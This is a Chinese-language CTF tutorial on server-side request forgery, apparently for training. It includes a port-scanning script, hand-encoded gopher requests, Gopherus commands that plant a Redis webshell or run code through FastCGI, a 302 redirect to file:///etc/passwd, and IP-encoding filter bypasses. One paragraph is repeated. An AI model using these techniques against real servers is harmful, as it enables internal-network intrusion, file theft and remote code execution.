CTFWEB-SSRF篇
什么是ssrf
SSRF (Server-Side Request Forgery) 即服务端请求伪造,从字面意思上理解就是伪造一个服务端请求,也即是说攻击者伪造服务端的请求发起攻击,攻击者借由服务端为跳板来攻击目标系统。
既然是跳板,也就是表明攻击者是无法直接访问目标服务的,为了让大家更好的理解这个过程,我从网上找了一张图,贴在了下面。
一句话总结:
控制服务端使用指定协议访问指定的url。让对方主机去访问我们访问不到的url,拿到我们本来拿不到的数据
漏洞利用条件
1 对方能帮我访问url,服务端有接受url地址并进行访问的功能
2 url地址外部可控
SSRF的利用面
任意文件读取
前提是知道要读取的文件名,然后再使用file://协议读取文件一句话总结:
控制服务端使用指定协议访问指定的url。让对方主机去访问我们访问不到的url,拿到我们本来拿不到的数据
漏洞利用条件
1 对方能帮我访问url,服务端有接受url地址并进行访问的功能
2 url地址外部可控
SSRF的利用面
任意文件读取
前提是知道要读取的文件名,然后再使用file://协议读取文件
做题时,如果可以读文件,可以尝试直接蒙flag文件名。
实战情况下,我们还能用读/etc/hosts
来获取当前主机的ip。权限高的情况下还可以尝试读取 /proc/net/arp
或者 /etc/network/interfaces
来判断当前机器的网络情况
得到主机内网地址就可以进行后续的探测内网资源了
探测内网资源
端口扫描
SSRF 常配合 DICT 协议探测内网端口开放情况,但不是所有的端口都可以被探测,一般只能探测出一些带 TCP 回显的端口,我们可以使用py写一个脚本发请求,或者使用bp爆破。
我们拿一道例题来演示:ctfhub技能树ssrf端口扫描
打开题目url为:
http://challenge-d40e76290d36996f.sandbox.ctfhub.com:10800/?url=
我们使用dict协议+burp爆破
爆破结果8699端口返回长度不同
我们访问,拿到flag
下面是一个简单的python探测脚本(这个脚本只针对这道题,具体环境具体修改)
import requests
url = 'http://challenge-d40e76290d36996f.sandbox.ctfhub.com:10800/?url='
for port in range(8650, 9001):
url_1 = url + "127.0.0.1:" + str(port)
#print(url_1)
res = requests.get(url_1)
if "ctfhub" in res.text:
print(port, res.text)
主机扫描
可以通过访问/etc/hosts获取所在网段,然后进行c段扫描
使用gopher协议扩展我们的攻击面
什么是gopher协议
gopher协议
定义:Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
gopher协议在各个编程语言中的使用限制
--wite-curlwrappers:运用curl工具打开url流
curl使用curl --version查看版本以及支持的协议
Gopher协议格式:
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
gopher的默认端口是70
如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
gopher发送请求
GET
那么如何发送HTTP的请求呢?例如GET请求。此时我们联想到,直接发送一个原始的HTTP包不就可以吗?在gopher协议中发送HTTP的数据,需要以下三步:
构造HTTP数据包
URL编码、替换回车换行为%0d%0a
发送gopher协议
这里使用一个PHP的代码演示,如下:
<?php
echo "Hello ".$_GET["name"]."\n"
?>
构造一个GET请求数据包
GET /ssrf/base/get.php?name=Caigo HTTP/1.1
Host: 192.168.0.109
url编码后
curl gopher://192.168.0.109:80/_GET%20/ssrf/base/get.php%3fname=Caigo%20HTTP/1.1%0d%0AHost:%20192.168.0.109%0d%0A
在转换为URL编码时候有这么几个坑
问号(?)需要转码为URL编码,也就是%3f
回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
POST
演示代码
<?php
echo "Hello ".$_POST["name"]."\n"
?>
请求包(4个参数为必要参数)
POST /ssrf/base/post.php HTTP/1.1
host:192.168.0.109
Content-Type:application/x-www-form-urlencoded
Content-Length:11
name=Caigo
url编码后
curl gopher://192.168.0.109:80/_POST%20/ssrf/base/post.php%20HTTP/1.1%0d%0AHost:192.168.0.109%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=Caigo%0d%0A
手工生成太麻烦了,大多数情况下还是使用工具生成,做个了解就行
gopherus使用
Gopherus工具是用来专门生成gopher协议的payload工具,通过gopher协议的以及各种被攻击应用的tcp包特点来构造payload
目前支持生成payload应用有:
MySQL (Port:3306)
FastCGI (Port:9000)
Memcached (Port:11211)
Redis (Port:6379)
Zabbix (Port:10050)
SMTP (Port:25)
Redis未授权+gopher
例题:ctfhub技能树ssrf_Redis
dict探测到redis
使用gopherus生成poc,shell选php的其他默认,会在网站根目录生成shell.php文件,密码是cmd
python2 gopherus.py --exploit redis
默认生成的poc好像有些问题,建议自己写一句话木马
mysql未授权+gopher
前提;mysql无密码,知道用户名,比如root
python2 gopherus.py --exploit mysql
php-fpm
php-fpm 默认监听9000端口,而且只允许本机127.0.0.1这个地址访问.要负责对.php文件的代码解释执行
我们可以通过向9000端口发送格式的请求,来让9000端口背后的php-fpm帮我们处理我们提交的php代码
向9000端口发送php执行请求
python2 gopherus.py --exploit fastcgi
它这个文件要选择确定存在的文件,默认的文件可能不存在,会导致命令无法执行
SSRF过滤绕过
通过我们前面的内容,可以得知只要不允许它访问本地地址即可,也就是说,过滤的目的是,不让访问127.0.0.1地址,就可以杜绝ssrf
利用Enclosed alphanumerics绕过
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> http://example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
使用IP地址进制转换
127.0.0.1用不同进制可以表示为
2130706433 10进制 http://2130706433 017700000001 8进制 http://0177000000017F000001 16进制 http://0x7F000001
特殊语法绕过
Windows 下 0 代表的是0.0.0.0
而Linux 下 0 代表的是127.0.0.1
127.0.0.1 可以省略为 127.1
127。0。0。1 可以替代127.0.0.1
302跳转
如果对方环境接受302跳转,并且跟进302跳转
可以发送http的协议。但是返回的location为其他协议
#302.php
<?php
header("Location:file:///etc/passwd");
//我们需要将这个php文件放在公网上,拼接到url访问,就能实现302跳转
//payload:?url=http://[公网IP]/302.php
利用短网址绕过
比如说要访问baidu.com 但是题目不允许出现baidu字符
或者限制了url长度,我们可以切换为短网址,来绕过长度的限制
原理就是302跳转,在线网站:http://rurl.vip/eW7AU
@符号绕过
比赛中可能会存在白名单,一定要请求某个IP或域名的情况,这个时候在url后面跟上@符号,浏览器会访问@后面的域名或ip
http://www.xxx.com@www.baidu.com/
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。